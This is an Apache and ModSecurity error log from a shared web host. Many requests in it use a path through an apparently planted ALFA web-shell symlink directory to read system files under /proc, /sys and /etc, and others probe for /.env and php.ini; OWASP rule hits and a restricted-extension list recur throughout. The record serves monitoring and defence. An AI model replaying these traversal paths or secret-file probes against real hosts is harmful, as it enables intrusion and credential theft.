[Sun Oct 25 18:45:46.168705 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 85.208.96.198:26480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/aliases
[Sun Oct 25 18:45:46.203659 2026] [core:error] [pid 2915585:tid 2915585] (13)Permission denied: [client 81.179.82.242:56921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cpu_partial
[Sun Oct 25 18:45:46.613762 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 44.223.193.255:23873] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:45:47.925932 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 190.70.24.182:42150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/store_user
[Sun Oct 25 18:45:48.670976 2026] [core:error] [pid 2914518:tid 2914518] (13)Permission denied: [client 65.75.110.130:14797] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cpu_partial
[Sun Oct 25 18:45:50.635291 2026] [ssl:error] [pid 2914422:tid 2914422] (5)Input/output error: [client 98.83.72.38:34008] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:45:50.892286 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 213.230.87.82:19080] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cpu_partial
[Sun Oct 25 18:45:54.603684 2026] [ssl:error] [pid 2915203:tid 2915203] (70014)End of file found: [client 52.204.174.139:54821] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:46:02.680190 2026] [ssl:error] [pid 2910745:tid 2910745] (70014)End of file found: [client 18.209.137.234:46236] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:46:04.780320 2026] [security2:error] [pid 2914518:tid 2914518] [client 185.191.171.1:22428] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/chrony.conf"] [unique_id "at6GrOsELCje-Lp0T2iicgAAAA0"]
[Sun Oct 25 18:46:04.780688 2026] [security2:error] [pid 2914518:tid 2914518] [client 185.191.171.1:22428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/chrony.conf"] [unique_id "at6GrOsELCje-Lp0T2iicgAAAA0"]
[Sun Oct 25 18:46:04.781003 2026] [security2:error] [pid 2914518:tid 2914518] [client 185.191.171.1:22428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/chrony.conf"] [unique_id "at6GrOsELCje-Lp0T2iicgAAAA0"]
[Sun Oct 25 18:46:06.913488 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 3.219.81.66:40970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/subsystem/devices/device:1c/eject
[Sun Oct 25 18:46:11.967495 2026] [core:error] [pid 2915203:tid 2915203] (13)Permission denied: [client 138.36.32.161:6314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/objects_partial
[Sun Oct 25 18:46:19.722032 2026] [security2:error] [pid 2915585:tid 2915585] [client 86.160.3.214:48603] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/sysinit.target.wants/systemd-journal-catalog-update.service"] [unique_id "at6Gu9D4Pn-lCPXEDekkaAAAAAU"]
[Sun Oct 25 18:46:19.722064 2026] [security2:error] [pid 2915585:tid 2915585] [client 86.160.3.214:48603] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/sysinit.target.wants/systemd-journal-catalog-update.service"] [unique_id "at6Gu9D4Pn-lCPXEDekkaAAAAAU"]
[Sun Oct 25 18:46:20.707034 2026] [security2:error] [pid 2914518:tid 2914518] [client 82.156.77.25:59614] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at6GvOsELCje-Lp0T2iicwAAAA0"]
[Sun Oct 25 18:46:20.708102 2026] [authz_core:error] [pid 2914518:tid 2914518] [client 82.156.77.25:59614] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 18:46:23.002219 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 190.122.25.22:34068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/objects_partial
[Sun Oct 25 18:46:26.636185 2026] [ssl:error] [pid 2915203:tid 2915203] (70014)End of file found: [client 3.224.205.25:15545] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:46:30.566954 2026] [ssl:error] [pid 2910718:tid 2910718] (5)Input/output error: [client 52.207.47.227:22712] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:46:38.546092 2026] [ssl:error] [pid 2914518:tid 2914518] (5)Input/output error: [client 100.24.167.60:30223] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:46:42.558184 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 18.209.137.234:38148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:19/subsystem/drivers/button/uevent
[Sun Oct 25 18:46:46.719645 2026] [ssl:error] [pid 2914701:tid 2914701] (70014)End of file found: [client 52.204.37.237:23126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:46:49.462938 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 185.191.171.13:23106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/poison
[Sun Oct 25 18:46:50.709680 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 54.83.180.239:64606] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:46:51.653412 2026] [ssl:error] [pid 2913030:tid 2913030] (95)Operation not supported: [client 85.208.96.197:53136] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:46:51.688273 2026] [ssl:error] [pid 2910693:tid 2910693] (95)Operation not supported: [client 85.208.96.197:53142] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:47:11.342005 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 71.91.115.27:50499] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 18:47:12.159802 2026] [security2:error] [pid 2914701:tid 2914701] [client 16.216.88.222:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "at6G8HlWo7mdOcp1-MVuhwAAAA8"]
[Sun Oct 25 18:47:12.160276 2026] [security2:error] [pid 2914701:tid 2914701] [client 16.216.88.222:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "at6G8HlWo7mdOcp1-MVuhwAAAA8"]
[Sun Oct 25 18:47:12.160587 2026] [security2:error] [pid 2914701:tid 2914701] [client 16.216.88.222:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "at6G8HlWo7mdOcp1-MVuhwAAAA8"]
[Sun Oct 25 18:47:14.154253 2026] [core:error] [pid 2914518:tid 2914518] (13)Permission denied: [client 187.13.240.183:17578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/slabs_cpu_partial
[Sun Oct 25 18:47:14.581147 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 100.29.160.53:64563] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:47:15.024811 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 174.92.90.178:41173] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 18:47:17.331853 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 41.138.97.217:56426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 18:47:17.902210 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 97.245.192.22:43195] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/slabs_cpu_partial
[Sun Oct 25 18:47:18.098558 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 41.143.45.76:33890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/validate
[Sun Oct 25 18:47:19.925788 2026] [core:error] [pid 2914518:tid 2914518] (13)Permission denied: [client 172.88.41.128:33895] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/slabs_cpu_partial
[Sun Oct 25 18:47:20.608891 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 159.26.100.221:34664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/validate
[Sun Oct 25 18:47:21.339033 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 24.101.200.49:60717] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/cpu_partial
[Sun Oct 25 18:47:23.821353 2026] [core:error] [pid 2914518:tid 2914518] (13)Permission denied: [client 213.139.45.105:59936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/cpu_partial
[Sun Oct 25 18:47:26.244252 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 94.34.92.228:58511] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/validate
[Sun Oct 25 18:47:26.488423 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 179.134.43.9:33374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/cpu_partial
[Sun Oct 25 18:47:28.020856 2026] [core:error] [pid 2914701:tid 2914701] (13)Permission denied: [client 185.191.171.6:62536] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/align
[Sun Oct 25 18:47:34.779992 2026] [ssl:error] [pid 2916655:tid 2916655] (70014)End of file found: [client 23.23.212.212:41695] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:47:36.220997 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 184.103.191.164:33028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/alloc_calls
[Sun Oct 25 18:47:38.925167 2026] [core:error] [pid 2914518:tid 2914518] (13)Permission denied: [client 92.40.190.203:24257] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/alloc_calls
[Sun Oct 25 18:47:39.373962 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 54.90.8.255:35626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:47:40.822071 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 73.226.157.42:47908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/alloc_calls
[Sun Oct 25 18:47:41.357789 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 185.191.171.17:45408] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/cache_dma
[Sun Oct 25 18:47:46.681289 2026] [ssl:error] [pid 2910745:tid 2910745] (70014)End of file found: [client 34.231.181.240:9115] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:47:54.634878 2026] [ssl:error] [pid 2915203:tid 2915203] (70014)End of file found: [client 98.82.63.147:15881] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:47:55.338320 2026] [core:error] [pid 2915585:tid 2915585] (13)Permission denied: [client 67.197.185.19:59570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/objects
[Sun Oct 25 18:48:02.678501 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 54.90.8.255:40772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:48:06.198975 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 181.117.184.178:50736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/objects
[Sun Oct 25 18:48:14.886454 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 52.71.203.206:59751] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:48:16.208376 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 85.208.96.206:16082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/tmp/tmp.5Su9PHsYDq
[Sun Oct 25 18:48:26.665737 2026] [core:error] [pid 2915585:tid 2915585] (13)Permission denied: [client 45.187.5.242:50568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/reclaim_account
[Sun Oct 25 18:48:30.988111 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 179.29.107.105:27588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/reclaim_account
[Sun Oct 25 18:48:34.122608 2026] [core:error] [pid 2914701:tid 2914701] (13)Permission denied: [client 190.142.81.186:33588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/reclaim_account
[Sun Oct 25 18:48:38.721350 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.195.248.30:29300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:48:42.781028 2026] [security2:error] [pid 2910745:tid 2910745] [client 54.144.185.255:38821] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/devices/0000:00:01.2/usbmon/usbmon1/device/subsystem/drivers/vmd/module/"] [unique_id "at6HSh9aSiuCLVOZQhxLcQAAACg"]
[Sun Oct 25 18:48:42.781070 2026] [security2:error] [pid 2910745:tid 2910745] [client 54.144.185.255:38821] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/devices/0000:00:01.2/usbmon/usbmon1/device/subsystem/drivers/vmd/module/"] [unique_id "at6HSh9aSiuCLVOZQhxLcQAAACg"]
[Sun Oct 25 18:48:50.815725 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 44.210.213.220:63873] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:49:06.957319 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 52.200.142.199:2788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:49:11.775128 2026] [ssl:error] [pid 2916655:tid 2916655] (70014)End of file found: [client 3.224.215.150:39595] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:49:24.979177 2026] [core:crit] [pid 2913030:tid 2913030] (13)Permission denied: [client 167.99.182.39:47592] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:49:25.001766 2026] [core:crit] [pid 2910745:tid 2910745] (13)Permission denied: [client 159.89.127.165:36352] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:49:25.042974 2026] [core:crit] [pid 2915585:tid 2915585] (13)Permission denied: [client 167.99.182.39:47604] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:49:25.108056 2026] [core:crit] [pid 2914751:tid 2914751] (13)Permission denied: [client 207.154.212.47:59408] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:49:25.124754 2026] [core:crit] [pid 2912591:tid 2912591] (13)Permission denied: [client 159.223.132.86:57312] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:49:25.170611 2026] [core:crit] [pid 2913086:tid 2913086] (13)Permission denied: [client 159.223.132.86:57326] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:49:26.754612 2026] [ssl:error] [pid 2913086:tid 2913086] (70014)End of file found: [client 35.174.141.243:1329] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:49:27.197678 2026] [security2:error] [pid 2910745:tid 2910745] [client 159.223.132.86:57362] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/server"] [unique_id "at6Hdx9aSiuCLVOZQhxLdgAAACg"]
[Sun Oct 25 18:49:27.197718 2026] [security2:error] [pid 2910745:tid 2910745] [client 159.223.132.86:57362] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/server"] [unique_id "at6Hdx9aSiuCLVOZQhxLdgAAACg"]
[Sun Oct 25 18:49:34.326693 2026] [security2:error] [pid 2913030:tid 2913030] [client 159.89.127.165:44612] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6HftACfKmH39GTPJ9irAAAAAg"]
[Sun Oct 25 18:49:34.326922 2026] [security2:error] [pid 2913030:tid 2913030] [client 159.89.127.165:44612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6HftACfKmH39GTPJ9irAAAAAg"]
[Sun Oct 25 18:49:34.327195 2026] [security2:error] [pid 2913030:tid 2913030] [client 159.89.127.165:44612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6HftACfKmH39GTPJ9irAAAAAg"]
[Sun Oct 25 18:49:34.987929 2026] [ssl:error] [pid 2915585:tid 2915585] (70014)End of file found: [client 3.214.176.44:19835] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:49:35.200573 2026] [security2:error] [pid 2916802:tid 2916802] [client 207.154.212.47:46116] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6HfwD9oqLjuERypnYvLgAAAAc"]
[Sun Oct 25 18:49:35.200783 2026] [security2:error] [pid 2916802:tid 2916802] [client 207.154.212.47:46116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6HfwD9oqLjuERypnYvLgAAAAc"]
[Sun Oct 25 18:49:35.201068 2026] [security2:error] [pid 2916802:tid 2916802] [client 207.154.212.47:46116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6HfwD9oqLjuERypnYvLgAAAAc"]
[Sun Oct 25 18:49:35.716071 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 190.211.126.197:5253] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/partial
[Sun Oct 25 18:49:37.869595 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 181.118.37.209:40387] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/partial
